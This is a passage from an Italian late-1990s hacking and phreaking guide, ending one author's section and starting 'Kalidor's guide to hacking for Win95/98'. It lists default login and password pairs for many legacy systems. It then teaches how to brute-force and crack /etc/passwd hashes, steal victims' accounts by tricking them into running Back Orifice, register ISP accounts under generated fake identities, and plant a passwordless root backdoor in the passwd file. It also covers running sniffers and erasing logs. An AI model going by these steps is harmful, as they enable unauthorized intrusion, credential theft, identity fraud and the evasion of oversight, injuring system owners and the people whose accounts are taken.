1,2:        SYSLIB, OPERATOR oppure MANAGER
2,7:        MAINTAIN
5,30:       GAMES
```

UNIX

Ci sono dozzine di differenti macchine che possono usare lo UNIX. Sebbene per alcuni non sia il miglior sistema operativo del mondo, e' certamente il piu' usato. Un sistema UNIX ha solitamente un prompt del tipo "login:". Il sistema UNIX permette illimitati tentativi di accesso (in molti casi) e <u>SOLITAMENTE</u> non registra le tracce dei login falliti.
Nota sulle password:
Il sistema operativo UNIX e' molto sensibile e quindi scrivere InfectedM al posto di infectedm e' completamente diverso.

```
Login:          Password:

root:       root
admin:      admin
sysadmin:   sysadmin or admin
unix:       unix
uucp:       uucp
rje:        rje
guest:      guest
demo:       demo
daemon:     daemon
sysbin:     sysbin
```

Comunque per le password dello unix guardate anche la lista nel capitolo dedicato all'hacking di questa guida.

PRIME

Il computer centrale della PRIME usa il sistema operativo PRIMOS. Si puo' facilemente identificare con la scritta che appare cioe': "Primecon 18.23.05" o qualcosa di simile che dipende dalla versione del sistema operativo. Solitamente non da' prompt questo sistema operativo. A questo punto digita "login". Se il sistema e' un versione pre del 18.00.00 del Primos tu puoi premere una serie di ^C al posto della password e ritrovarti dentro. Sfortunatamente la maggior parte delle persone utilizza versioni superiori alla 19+. Il sistema Primos ha anche degli ottimi file di aiuto. Uno dei piu' utili comandi che si puo' utilizzare in questo sistema e' chiamato: NETLINK. Una volta che ti sei inserito nel computer digita NETLINK e segui i file di aiuto.

Questo ti permette di connetterti agli NUA di tutto il mondo usando il comando "nc". Per esempio per connettersi al NUA 026245890040004 tu devi digitare @nc :26245890040004 nel prompt del netlink.

Login:	Password:
PRIME	PRIME o PRIMOS
PRIMOS_CS	PRIME o PRIMOS
PRIMENET	PRIMENET
SYSTEM	SYSTEM o PRIME
NETLINK	NETLINK
TEST	TEST
GUEST	GUEST
GUEST1	GUEST

HP-x000

Questo sistema e' stato creato dalla Hewlett Packard ed e' caratterizzato dal prompt con i due punti ":"
L'HP ha una delle piu' complicate sessioni di login che girino sotto computer:
1) Hello Session Name
2) UserName
3) AccountName
4) Group.
Fortunatamente qualcuno di questi campi puo' essere bianco in alcuni casi ma possono anche essere tutti protetti da password e quindi non e' un sistema semplice in cui entrare.
In generale, se il default non funziona bisogna tentare un brute force usanto la password list comune.
L'HP-x000 usa il sistema operativo MPE e il prompt e' qualcosa come ":"

Login:	Password:
MGR.TELESUP,PUB	User: MGR Acct: HPONLY Grp: PUB
MGR.HPOFFICE,PUB	privo di password
MANAGER.ITF3000,PUB	privo di password
FIELD.SUPPORT,PUB	user: FLD, others, privo di password
MAIL.TELESUP,PUB	user: MAIL, others, privo di password
MGR.RJE	privo di password
FIELD.HPPl89 ,HPPl87,HPPl89,HPPl96	privo di password
MGR.TELESUP,PUB,HPONLY,HP3	privo di password

IRIS

IRIS sta per Interactive Real Time Information System. Originariamente girava solo sotto i PDP-11 ma ora gira sotto piu' macchine.
Si puo' identificare dalla scritta 'Welcome to "IRIS" R9.14 Timesharing' e per la scritta ACCOUNT ID? nel prompt.
IRIS permette illimitati tentativi di hackeraggio e non registra i tentativi falliti. Non conosco password di default provare quindi con le password della lista sopra.

Login:

MANAGER
BOSS
SOFTWARE
DEMO
PDP8
PDP11

ACCOUNTING

VM/CMS

Il sistema operativo VM/CMS e' funzionante sopra le International Business Machine (IBM). Quando ti connetti ad uno di questi tu puoi ricevere un messaggio tipo 'VM/370 ONLINE' e un prompt "." come il TOPS-10. Per fare il login digitare 'LOGON'.

Login:	Password:
AUTOLOG1:	AUTOLOG or AUTOLOG1
CMS:	CMS
CMSBATCH:	CMS or CMSBATCH
EREP:	EREP
MAINT:	MAINT or MAINTAIN
OPERATNS:	OPERATNS or OPERATOR
OPERATOR:	OPERATOR
RSCS:	RSCS
SMART:	SMART
SNA:	SNA
VMTEST:	VMTEST
VMUTIL:	VMUTILV
TAM:	VTAM

NOS

NOS sta per Networking Operating System e funziona sui computer Cyber creati dalla Control Data Corporation. Il NOS si identifica facilmente dalla scritta 'WELCOME TO THE NOS SOFTWARE SYSTEM. COPYRIGHT CONTROL DATA 1978,1987'. Il primo prompt di comandi che ti potrebbe apparire e' FAMILY:. Qua premi invio. Poi ti dovrebbe apparire lo USER NAME:.
Lo username e' solitamente lungo 7 caratteri alfanumerici ed e' ESTREMAMENTE sito-dipendente. Gli account degli operatori solitamente sono qualcosa del tipo: 7ETPDOC.

Login:	Password:
$SYSTEM	unknown
SYSTEMV	unknown

DECSERVER

Questo non e' realmente un sistema ma e' un server di un network che ha differenti macchine collegate a
lui. Un decserver puo' dire 'Enter Username>' quando ti connetti al sistema. Questo puo' essere qualsiasi cosa e puo' non significare niente...e' solo un'identificatore. Premi 'c' a questo punto per entrare. Ora ti si presentera' la scritta 'Local>'. Da qua premi ancora 'c' per connetterti al sistema. Per prendere una lista dei nomi nel sistema, digita 'sh services' oppure 'sh nodes'. Se hai qualche problema gli aiuti online sono disponibile digitando il comando 'help'. Dai un occhio a servizi chiamati 'MODEM' oppure 'DIAL' o qualcosa di simile, questi sono spesso outdial modem e possono essere d'aiuto.

GS/1

Un altro tipo di network server. Diversamente dal Decserver tu non puoi predirre quale prompt ti dara' il gateway del GS/1. Il default e' 'GS/1>' ma questo e' ridefinibile dall'amministratore di sistema.

Per testare il GS/1 digita 'sh d'. Se questo comando stampa a video una lista di default (velocita' del terminale, prompt, parita', etc.) tu sei su un GS/1. Tu ti puoi connettere alla stessa maniera del Decserver premendo 'c'. Per trovare quali sistemi sono disponibili premi 'sh n' oppure 'sh c'. Un altro trucchettino e' 'sh m' perche' qualche volta ti stampa a video una lista di macros per effettuare il login in un sistema. Se c'e' una macro chiamata VAX, per esempio, digita 'do VAX'.

SISTEMI IRRESPONSABILI

Occasionalmente tu ti puoi connettere ad un sistema che non ti dice nulla e non fa' nulla. Questa e' una cosa abbastanza frustrante ma un approccio con metodo ad un sistema puo' farti risparmiare un sacco di tempo. La seguente lista di cosa da fare ti puo' aiutare:
1) Cambia la tua parita', lunghezza dei dati e stop dei bits. Se un sistema non risponde con 8N1, puo' rispondere con 7E1 o 8E2 o 7S2. Se tu non hai un terminale che cambi i settaggi a EVEN, ODD, SPACE, MARK o NONE con una lunghezza di 7 o 8 e 1 o 2 stop bits vai subito a comprarne uno. Avere un buon programma e' assolutamente necesssario e, sicuramente, di aiuto.
2) Cambia il tuo baud rate (velocita' di collegamento). Ancora, se tu hai un programma che ti permette di scegliere la tua velocita' di connessione (ad esempio 600 o 1100) potresti essere capace di penetrare un sistema che, senza il cambio di velocita' di connessione non potresti hackerare. Molti sistemi dipendono dalla velocita' ed alcuni hanno una strana velocita' di connessione e questo sembra che in alcuni sia tutta la sicurezza di cui i sistemi necessitano (almeno secondo i loro amministratori).
3) Manda una serie di 's.
4) Manda un hard break seguito da una a.
5) Manda una serie di . I Datapac network canadesi rispondono a questo.
6) Se tu ottieni un garbage premi una i. Tymnet risponde a questo come MultiLink II.
7) Inizia a mandare dei control con delle lettere a partire da ^A e findendo ^Z.
8) Cambia la tua emulazione di terminale.
9) Digita LOGIN, HELLO, LOG, ATTACH, CONNECT, START, RUN, BEGIN, LOGON, GO, JOIN, HELP e qualsiasi altra cosa tu pensi che ti possa servire.
10) Se conosci il numero della compagnia da hackerare prova a chiamarli e sparare un sacco di balle per farti dare informazioni in piu'.

PHREAKING IN ITALIA

A dir la verita' ne so' poco o nulla del phreaking in Italia ma comunque vi dico ogni cosa mi viene in mente.
Ho letto da qualche parte anche se non ricordo bene dove alcune cose riguardanti le cabine telefoniche italiane (quelle dotate di lettore schede):
Se si telefona a qualcuno e questo qualcuno alza IMMEDIATAMENTE la cornetta (quando si dice immediatamente si intende senza quasi sentire lo squillo) il lettore di schede, a volte, non "sente" l'effettivo aggancio della linea telefonica e non fa' spendere nulla.
Questo funziona su alcune cabine NON su tutte.
Per ricaricare le tessere magnetiche invece ho sentito due versioni:
a) Prendete un televisore vecchio e accendetelo per circa due o tre ore. Trascorso tale periodo passate la tessera magnetica (con la banda magnetica rivolta verso il vetro della tv) sopra lo schermo e verificate se si e' ricaricata almeno in parte.
b) Prima di passare la tessera magnetica sopra il televisore dategli una spruzzatina di lacca sulla banda magnatica e POI passatela sul televisore come sopra. Verificate poi anche questa.

Io personalmente non ho verificato ma nel momento in cui scrivo alcuni amici stanno provando queste teorie.
Piccola nota:
Ho sentito in giro voci di persone che avrebbero usato il bluebox (scatoletta che permette di falsificare i segnali telefonici per poter telefonare gratis) in Italia.
Ora prevedo due cose:
1) Le persone che dicono di averlo usato lo hanno davvero fatto ma magari collegandosi a centralini fuori dal nostro Paese;
2) Stanno dicendo cagate solamente per farsi belli agli occhi degli altri.
Se volete avere maggiori informazioni sul phreaking in Italia vi consiglio di leggere il N°1 di SystemDown nel quale se ne parla molto piu' che in questa guida.

NOTA AGGIUNTIVA – Non mi stanchero’ mai di ripeterlo il blueboxing in Italia con la freq 2600Hz non funziona le nuocve centraline hanno un sistema molto piu complesso che si basa su piu multifrequenze codificate che oscillano parecchio e rendono impossibile il box PER ORA – FINE NOTA MrZeRo

NOTE FINALI:

Principali siti dove reperire informazioni sull'hacking:

http://www.vcalpha.com/silicon/void-f.html (nel momento in cui scrivo non e' attivo)
http://www.2600.com
http://l0pht.com
http://underground.org
http://www.mgmua.com/hackers/index.html
http://195.32.61.1:80/zo

Libri consigliati:

The Hacker Crackdown

Testi utili sull'hacking e il phreaking (tutti in inglese o quasi):

A Novice's Guide To Hacking

Alt.2600 Hack Faq

The Hacker's Handbook

The Official Phreaker's Manual

Rainbow Book

Computer Hackers: Rebel With A Cause

The Legion Of Doom Technical Journals

The Ultimate Beginner's Guide To Hacking And Phreaking

La guida italiana all'hacking :-)))

SystemDown (rivista Italiana di hacking/phreaking/cracking/virii)

Newgroups sull'hacking e il phreaking:

alt.2600 (e suoi derivati)
alt.2600.hackerz
alt.2600.hope.tech
alt.cellular
alt.cellular-phone-tech
alt.comp.virus
alt.cracks
alt.cyberpunk
alt.cyberspace
alt.dcom.telecom
alt.fan.lewiz
alt.hacker
alt.hackers
alt.hackers.groups
alt.hackers.malicious
alt.hacking
alt.hackintos
alt.security

Canali IRC di hack/phreak Italiani (consiglio il collegamento dopo le 21.30):

hackers.it
hacker.it
phreak.it

Film da vedere sugli hackers e simili:

Wargames, giochi di guerra
Hackers
I signori della truffa

Se mi volete scrivere, lo potete fare a:

InfectedMachine@cryogen.com

Guida di Kalidor all'hacking per Win95/98

Indice:

Disclaimer:

Usa queste informazioni a TUO rischio e pericolo. Io (Kalidor) e qualsiasi altra persona mi abbia aiutato a scrivere questa guida non si assumerà NESSUNA responsabilità per l'uso, l'utilizzo o l'abuso di questo testo. Le seguenti informazioni sono state scritte SOLAMENTE per scopo educativo e informativo e NON possono essere usati per scopi illegali. Leggendo questo file tu accetti i seguenti termini:
Comprendo che usare le seguenti informazioni è un atto illegale. Capisco e accetto di essere il SOLO responsabile delle mie azioni. Se vengo messo nei guai da queste informazioni NON incolperò o tirerò nei guai colui (Kalidor) che ha scritto questo testo o ogni altro suo collaboratore o qualsiasi altra persona mi abbia dato questo file. Io capisco che le informazioni qua contenute sono SOLO per scopo di educazione. Questo file può essere usato per controllare la sicurezza del TUO sistema.

Inoltre per leggere questo testo devi possedere un'automobile rosa e avere almeno 154 anni.

Introduzione:

Grazie per avere scelto la "Guida di Kalidor all'hacking per Win95/98". Se non hackerete un server in 3 settimane avrete i vostri soldi indietro.

Benvenuti alla mia guida. Questa guida è stata fatta appositamente per quelli che l'hacking non sanno nemmeno cosa sia (o quasi) e che non hanno mai sentito parlare di linux, unix o robe simili.
Per i profani l'hacking è l'atto di penetrare nei sistemi trovando la password per il login più privilegiato possibile (login e password spiegati dopo). Voi penserete che queste cose si vedono solo nei film di fantascienza e invece NO! Ed è incredibilmente facile hackerare. Naturalmente bisogna avere alcune conoscenze sui computer se no non sarà molto facile per voi. Questo è quello che dovete sapere prima di iniziare:

Requisiti di sistema:

- Una buona conoscenza dell'inglese altrimenti sarete spacciati
- Un po' di dimestichezza coi computer ed un po' di autonomia, ad esempio capire come funziona un programma senza l'aiuto di qualcuno (magari leggendo il manuale o il readme)
- Una buona dose di fortuna. Se siete sfigati come Paperino lasciate stare (scherzo=))
- Non avere assolutamente fifa di commettere atti...illegali
- Non essere persone generose e di buon cuore=). Bisogna essere MALEFICIIII MUAHAAHAHAAAA (non è detto poi...=)
- Avere voglia di fondersi il cervello e stare ore e ore e giorni a provare, riprovare, ririprovare...diventare rincoglioniti...etc etc
- Essere maniaci del computer. Se pensate che il computer è uno strumento come un altro lasciate stare...io do I NOMI ai computer (sto scrivendo con la mia Arcady;-)

Bene avete controllato i punti scritti sopra? Siete a posto? QUASI a posto? Ok cominciamo.

Parte teorica:

E così comincia la (pallosissima) parte teorica. Vi consiglio VIVAMENTE comunque di leggerla perchè se passate subito alla parte pratica ho paura che non capirete molto; nella parte pratica io do' perscontato che abbiate letto questa parte o che sappiate già quello che c'è scritto qui.
Spegnete le luci, staccate il telefono, chiudete le finestre...no che poi non ci vedete un kakkio, buttate fuori a calci la ragazza...cominciamo.

Unix:

Lo unix (in inglese si legge iùnics=) e il linux (la sua emulazione, cioè adattamento, per il DOS) sono i sistemi operativi più importanti in internet poichè esso è stato creato in origine con lo unix. Lo unix è stato fatto appositamente per le reti (internet) e si basa soprattutto su di esso. Per imparare ad hackerare dovete conoscere bene questo sistema operativo; per consolarvi vi dico che è simile al DOS.
Quando vi connettete ad un server (come fare è spiegato dopo) sarà quasi sicuramente unix o linux. Una volta connessi (sia con ftp o con telnet, spiegato dopo pure questo) vi verrà detto:

Unix (o linux) Version blablabla on server.hackeroso.com at gg:oo:mm

Login:

Ecco questa è la famosissima domanda immancabile in tutti i server. Il login è il nome che usate per identificarvi quando vi connettete a qualcosa. Nel server ci sono vari login in memoria. A seconda di quale login mettete il server vi darà più o meno privilegi nel sistema. Poi il server vi chiederà:

Password:

Questa è la password (parola chiave) che uno user (utente) associa al suo login. Quando la scrivete non vedrete niente per ragioni di sicurezza. Non vedrete neanche gli asterischi perchè questi determinano la lunghezza della password e ciò è fondamentale nello unix. Se sbagliate il login o la password vi verrà detto:

Login incorrect.

Login:

Ciò per tutti gli hacker è molto antipatico. Se invece la password e il login li beccate il server vi dirà:

Last login on server.blabla.com at gg:mm:aa.

You have mail. (non essenziale)

% (oppure:)
$

Questi due caratteri compaiono, seguiti alcune volte da dei commenti del sysop (il proprietario del server) quando entrate con un login normale. Quando invece entrate con un login a pieni poteri, di solito il login "root", vi verrà scritto:

#

Attenzione, alcune volte (ma molto raramente), i sysop possono mettervi questo carattere per farvi credere di essere dei root e farvi pensare che potete fare quel che vi pare. Comunque questo è il simbolo che rappresenta gli user a pieni poteri.
Ecco ora i comandi più comuni che potete usare una volta entrati (attenzione, unix e linux sono CASE SENSITIVE, ciò vuol dire che maiuscolo e minuscolo non sono la stessa cosa, ad esempio pirla, PIRLA, Pirla, PiRlA e pIrLa sono tutte cose diverse. Comunque generalmente in unix quasi tutto è minuscolo):
ls: da la lista dei file. In pratica è come il DIR /w. Se volete potete scrivere anche:
ls -al: questo vi da la lista uguale al comando DIR e vi mostra anche i file nascosti
cd: change directory. Cambia la directory.. è il CD del DOS. Attenzione però: se volete fare un cd.. dovrete scrivere cd .. CON LO SPAZIO in mezzo.
vi: è come l'EDIT. Per muovervi usate le frecce e per uscire ctrl-v.
mail: legge la mail associata al login che usate. Per avere i comandi della mail scrivere ?.
rm: uguale a DEL. Cancella i file.
cp: come COPY.
mv: come REN.
pwd: vi dice la directory in cui vi trovate.
write: è una specie di chat. Usate write nomelogin.
man: il manuale. Usate man comando.
cc: compilatore c.
chmod: cambia i diritti di accesso di un file. Spiegato dopo.

Quando entrate con uno user specifico, ad esempio kalidor, avrete certi privilegi. Questi privilegi sono configurati nel passwd file, localizzato in /etc/passwd (passwd è un file senza estensione, negli unix sono comuni). Ora scrivete:

$pwd
Current directory is /
$cd etc

$vi passwd

root:wXU9dj5HgegfY:0:root:/root:/bin/bash
casttwo:JauyqjalnO4r.:100:Claudio:/usr/local/WWWCAST:/bin/bash
alex:DnC3.8ki/Vxbg:100:Alessandro:/usr/local/WWWCAST:/bin/bash
drago:PhQ93Kkb3uKWk:100:drago:/usr/local/WWWDRAGO:/bin/bash
erreti:Ac94JrWgDUE5s:100:erreti:/usr/local/WWWERRETI:/bin/bash
ma:526W/EMJtPS0I:100:Angelo:/usr/local/WWWWORLDC:/bin/bash
kalidor:oLi8fwrShd/YA:100:KALIDOR:/usr/local:/bin/bash
persyst:PjZQgViux0.RY:100:persyst:/usr/local/WWWPERSYST:/bin/bash
ivars:CpQzohSaJAyeg:100::/usr/local/WWWIVARS:/bin/bash
sqcons:Oa3n.7A28gXaM:100::/usr/local/WWWSQCONS:/bin/bash
serte:Bcxzo18l4L0AU:100::/usr/local/WWWSERTE:/bin/bash
ivar:D8eIXPHyo4LgY:100::/usr/local/WWWIVAR:/bin/bash

Bene. Che cacchio è 'sta roba??? E' il file che contiene le PASSWORD per gli user. Prendiamo il mio login:

kalidor:oLi8fwrShd/YA:100:KALIDOR:/usr/local:/bin/bash

kalidor è il nome del login, oLi8fwrShd/YA è la password (naturalmente criptata, come decriptarla spiegato dopo), 100 è il livello di permission, KALIDOR è la descrizione del login, /usr/local è la directory di partenza e /bin/bash è il tipo di unix che state usando. Il vostro obbiettivo è di avere la password per lo user con privilegio 0 (qui, e in quasi tutti i server, è il root). In certi casi alcuni o tutti i login possono essere così:

sider:*:100::/usr/local/WWWSIDER:/bin/bash

* significa che la password è SHADOWED e che quindi non è decriptabile, a meno che non si possa leggere il file etc/shadow che contiene le password shadowed. Questo file però è accessibile soltanto dal root o da un login 0.

Ora scriviamo ctrl-z per uscire e facciamo:

$pwd
Current directory is /etc/
$ls -al
total 4
drw-r--r-- 2 0 1 96 Apr 18 1997 .
drw-r--r-- 2 0 20 96 Apr 18 1997 ..
-rw-r--r-- 2 1 1 96 Apr 18 1997 passwd
-rw-r--r-- 2 1 1 96 Apr 18 1997 group

Che cosa sono quella roba dwr-r-r e le altre simili? Sono le permission per il file. d vuol dire directory, r vuol dire read (leggere), w vuol dire write (scrivere) e x vuol dire execute (eseguire). Quando c'è un - vuol dire che la certa cosa che dovrebbe stare lì non si può fare. La sequenza di permission completa è drwxrwxrwx (che non può esistere dato che una directory non si può eseguire). Dopo la d il primo gruppo di tre lettere è associato al root, quindi -rw-r--r-- vuol dire che il root può leggere e scrivere quel file. Il secondo gruppo di tre lettere è associato al gruppo, cioè l'insieme di login che ha un certo privilegio (i vari gruppi si possono vedere in etc/group e se stai in un login joinabile da un gruppo senza password usa il comando chgrp). L'ultimo gruppo di tre lettere è associato allo user normale.
Ora sapete le cose principali sullo unix.

IP, Porte & Protocolli:

Ci sono vari modi di accedere ad un server. Con il browser, con ftp, con telnet e con altre cose. Quando si ci connette ad un server il programma che state utilizzando analizza il nome del server (ad esempio www.microsoft.com oppure 210.75.4.13) e se è scritto in formato letterale lo converte con il DNS, un programma che gira in vari server nelle reti (chiamati name servers) e che converte da letterale a numerico e da numerico a letterale. Ad esempio www.microsoft.com corrisponde a 207.46.131.137. Questo numero è l'idinteficazione del server e in ogni sezione (separate dal .) possono stare da 1 a 3 numeri. Questo codice si chiama IP (Internet Protocol). Ora per scegliere in che modo entrare si usano le PORTE. Ogni programma usa una porta diversa per connettersi. Ecco le porte più comuni:

Porta	Utilizzo
0	ping (solo via ICMP)
21	ftp (File Transfer Protocol)
23	telnet
25	stmp (Simple Mail Transfer Protocol)
79	finger
80	http (Hyper Text Transfer Protocol
110	pop3 (Post Office Protocol 3.x)

Per connettersi a queste porte ci sono 3 modi:
TCP: quello classico che usano tutti (Transfer Control Protocol)
UDP: per spedire pacchetti e dati speciali (User Datagram Protocol)
ICMP: per spedire pacchetti PING per testare la velocità tra due computer (Internet Control Message Protocol)

Programmi utili:

I programmi per win95/dos che probabilmente vi serviranno ad hackerare sono:
Netinfo: per avere più informazioni possibili da un server
GenerID: per generare identità false con codice fiscale per registrarvi nei provider
John the Ripper: per decriptare i passwd file
Back Orifice: per rubare le password degli account ad un altro per mezzo di un trojan horse
UnSecure: programma per provare password su un dato login molto velocemente
Qualche codice C per sniffare (spiegato dopo).
Questi programmi sono disponibili alla mia home page http://members.xoom.com/Kalidor_hp/secret.html
La password come trovarla è spiegato nella sezione "Come hackerare le password in javascript".

Precauzioni:

Quando hackerate c'è sempre una possibilità che vi scoprano e che dal vostro IP risalgano alla vostra identità. Perciò quando hackerate dovete SEMPRE usare un account per internet NON VOSTRO. Per ottenerlo ci sono due modi:
1) Registrarsi ad un provider (telefonando) usando GenerID e dando i dati generati. Vi daranno un account provisorio di due settimane, da aggiornare ogni volta che scade con lo stesso metodo. Questo è il metodo più fastidioso perchè ogni 2 settimane bisogna telefonare.
2) Rubare l'account a uno che sapete che internet non lo usa spesso. Per fare questo usate Back Orifice. Mandate il file boserve.exe alla vittima e con qualche scusa glielo fate eseguire. Poi lanciando BoGui e usandolo su di lui avrete accesso alle sue password di account.
Ci sono anche dei programmi che vi danno una certa sicurezza in quanto a rintracciamento: gli spoofers che falsificano il nome del vostro pc e i jammer che non ho ancora capito cosa facciano e se funzionano ma sembra che vi diano ulteriore privacy.

Ulteriori precauzioni vanno prese dentro il sito. Prima di tutto non bisogna cancellare o danneggiare nessun file, tranne quelli di log e passwd, altrimenti è più probabile che, nel caso veniate beccati, vi arrestino. Inoltre non hackerate mai questi tipi di server:
.GOV (siti di governo MOLTO pericolosi in quanto a sicurezza)
.MIL (siti militari ANCORA PIU' pericolosi)
e qualsiasi server molto importante che amministra più di un milione di utenti internet.

Parte pratica:

Eccoci alla parte pratica. Qui imparerete a fare dei semplici hackeraggi. Spero che abbiate letto la parte teorica altrimenti qui non capirete un kakkio=).

Come hackerare in Win95:

In molte guide per gli hacker c'è scritto che se non hai linux o unix non puoi fare niente. Ciò non è assolutamente vero. Con win95 è possibile hackerare quasi facilmente come usando linux. Naturalmente avrete bisogno di alcuni programmi specifici e di qualche account per linux (detto shell account, spiegato dopo). L'unico problema di win95 sono i bug. Win95 è pieno di bug e ciò può impedire molto l'hacking; ad esempio su win95 non si può usare S.A.T.A.N. poichè i driver di rete sono programmati un po' alla cacchio e satan ha bisogno di driver veloci e programmati in modo da ottimizzare la connessione. Inoltre molti script per c possono essere lanciati solo da linux. A questo inconveniente si può rimediare agendo attraverso dei computer linux remoti, hackerati da voi. Comunque anche se in win95 tutto forse sarà un po' complicato non è mai impossibile, basta sapersi arrangiare.

Entrare nei server:

Questa è la prima e più difficile parte dell'hacking. Per entrare nei server bisogna prima di tutto avere più informazioni possibili su di esso. Quindi aprite netinfo o un prog simile e fate tutto quello che potete fare li. La funzione più importante in netinfo è il FINGER. Esso ti permette di vedere tutti i login connessi al server al momento e darvi informazioni sui login che non sono connessi. Per usarlo prima di tutto fingerate @server.da.hackare (potete anche farlo usando un prog per connettersi ad una porta specifica...andate sulla porta 79 e scrivete invio per gli user online o il nome dello user che volete se è offline). Se vi dice che non può connettersi allora niente. Se invece vi da qualche login o vi dice "no one logged on" allora il server ha il finger attivato. Ora prendete nota dei login che vi da, se li da, e fingerateli singolarmente usando login@server.da.hackare. Vi darà informazioni più specifiche sui login in questione e forse anche altri login associati a quello che avete messo. Ora provate tutti i login che vi possono venire in mente e tutti quelli comuni (scritti dopo). Prendete sempre nota di questi login. Ora prendete nota di tutte le possibili password che avete ricavato con le altre funzioni del netinfo.
Adesso create un collegamento sul desktop di c:\windows\ftp.exe e lanciatelo. Questo è uno dei due programmi che si usano per connettersi ai server. Questo si connette alla porta 21. L'altro programma si chiama telnet.exe e sta anche in c:\windows\. Create un collegamento sul desktop anche di quello. Ftp (File Transfer Protocol) è il programa per trasferire i file da un computer all'altro e telnet è il programma che emula il vero unix. Quando si hackera bisogna usare tutti e due i programmi perchè con uno provate i login (provare i login con ftp da meno probabilità di essere beccati) e trasferite i file e con l'altro leggete le mail e modificate i LOG e i passwd (spiegato dopo) e fate molte altre cose. Ora che avete lanciato ftp vi chiederà per il login. Prendete uno dei login che avete fregato, oppure se non ci siete riusciti provate uno che pensate possa essere quello, e provate ad associarlo ad una password (abbastanza spesso accade che il login sia uguale alla password). Provate a combinare login e password in tutti i modi possibili. Ci sono tre tecniche per indovinare login e password:

*Login comuni:

Quando si compra un server e un computer in cui è installato linux o unix vi danno dei login e password di default, da modificare in seguito. Alcuni sysop ingenui non cambiano i login e password e se siete fortunati riuscite ad entrare senza molta fatica. Ecco i login di default:

LOGIN	PASSWORD
root	root, system, sysop, nomesistema, nomepersona, none, vedi sys
sys	sys, system, manager, nomedelsistema, vedi root
daemon	daemon, background, none
uucp	uucp, vedi guest
tty	tty
test	test
unix	unix, test
bin	bin, system, vedi root
adm	adm, admin, sys, vedi root
admin	adm, admin
sysman	sysman, sys, system
sysadmin	sysadmin, sys, system, admin, adm
who	who, none
learn	learn
uuhost	uuhost
guest	guest, user, anonymous, visitor, bbs, nomesistema / organizzazione
host	host
nuucp	nuucp, vedi uucp
rje	rje, none, vedi root
games	games, player
sysop	sysop
demo	demo, nomedelsistema, none
visitor	vedi guest
anonymous	vedi guest
anon	vedi guest
user	vedi guest
nomedelsistema	vedi guest
student	student, vedi guest
ftp	ftp, ftpuser, vedi guest
ftpuser	vedi ftp
xxcp	xenix
system	manager
nobody	nobody, none
field	service
archie	archie, none
qarchie	qarchie, none
whois	whois, none
bbs	nomedelsistema, bbs, waffle, none
services	nomedelsistema, services, none
info	nomedelsistema, info, none
new	nomedelsistema, new, none
newuser	nomedelsistema, newuser, none
ingres	none, ingres, nomedelsistema
date	date, none
lpq	lpq, none
time	time, none

weather	weather, forecast, none
forcast	vedi weather
help	help, none
test	nomedelsistema, test, none
waffle	vedi bbs
trouble	trouble, vedi root
lp	lp, printer, print, vedi root
unmountsys	unmountsys, unmount, vedi root
setup	setup, vedi root
makefsys	makefsys, vedi root
sysadm	sysadm, sys, system, vedi sys-adm-root
powerdown	powerdown, vedi root
mountfsys	mountfsys, vedi root
checkfsys	checkfsys, vedi root

*Password list:

Se ancora non siete entrati potete provare la tecnica del password list / brute force. Questa tecnica consiste di prendere un login che vi sembra debole e di provare a usare UnSecure su di esso, prima usando una password list e poi usando il metodo brute force. La password list è inclusa con unsecure e se non vi va bene ne potete trovare in giro con una piccola ricerca. Questo è il metodo più pericoloso però perchè con un grande numero di tentativi sullo stesso login c'è un alto rischio di essere beccati (sono sicuro che state usando il vostro account FALSO;-).

*Backdoors:

Le backdoor sono dei login speciali che un sysop (o un hacker, spiegato dopo) mette per far avere accesso a delle persone che non devono avere ufficialmente accesso al server oppure per avere un login di salvataggio con permission elevata nel caso si dimenticassero la password del root o in casi di emergenza. Se conoscete una persona che ha una backdoor nel server oppure avete preso una backdoor con il finger cercate di conoscere il più possibile su questa persona e cercate di scoprire la password. Provate anche il metodo delle password list su questo login qui.

Ricordate che entrare nel server è la parte più lunga e difficile quindi provate e riprovate e non scoraggiatevi, nessun server è inattaccabile.

Come avere l'accesso ROOT:

Bene qua siamo alla parte più importante dell'hacking. Avere l'accesso di ROOT. Prima di tutto andate a leggere il passwd file e vedete se il root è criptato o shadowato. Se è criptato usate john the ripper su tutti i login criptati e vedete quello che ne cavate fuori. Avrete ottenuto un paio di login. Se avete preso il root saltate con gioia per tutta la stanza. Se no provate a usare i nuovi login che avete fregato e vedete se riuscite a prendere informazioni sul login root. Ricordatevi che le password possono essere nascoste in ogni angolo del server tra le directory più anonime e insignificanti. Se ancora non avete preso il root allora mettetevi li con "john -i passwd" (vedi il manuale di john the ripper) e state li a crakkare per un paio di settimane e continuate a cercare bene nel server. Qualcosa troverete. Un'altro modo di trovare l'accesso di root è usando sniffer o exploits vari. Come usarli e quali sono è spiegato nella parte avanzata.

Come mantenere l'accesso al server:

Questa sezione, anche se non sembra, è molto importante dato che gli hackers principianti si fanno sgamare come novellini perdendo l'accesso root al server dopo un cambio di password. Mantenere l'accesso oltretutto è molto semplice. Ci sono tre cose da fare sempre.

- Crearsi una Backdoor. Quando si ottiene il root bisogna entrarci una volta sola altrimenti il sysop si potrebbe insospettire. Quindi quando si entra bisogna assolutamente crearsi una backdoor. Per far questo si edita il passwd file e si aggiunge NEL MEZZO del passwd (dico nel mezzo visto che così è meno probabile che il sysop se ne accorga) una stringa di questo genere: "kalidor::0:KALIDOR:/usr/local:/bin/bash". In questo modo la prossima volta che entrate al login scriverete kalidor e come pass non metterete niente
- Lanciare uno sniffer in background (come farlo spiegato dopo). In questo modo se cambiano la password di root potrete riprenderla per mezzo del log dello sniffer.
- Modificare sempre tutti i file di log in modo da non lasciare nessuna vostra traccia nel server. Come modificare i file LOG è spiegato dopo (no giuro ogni volta che dico "spiegato dopo" vuol dire che è DAVVERO spiegato dopo...tranquilli=)

Come hackerare le password in javascript:

Questo è l'hack più facile che io abbia mai fatto. Un esempio di password per javascript lo potete trovare alla mia home page (http://members.xoom.com/Kalidor_hp/secret.html) la cui password non la dico per non togliervi il piacere di trovarla=). Ci sono due tipi di password che potete trovare in un sito:

- Le password assegnate alle directory con un cgi-bin che sono quindi hackabili solo hackerando interamente il server
- Le password assegnate agli html con un codice javascript

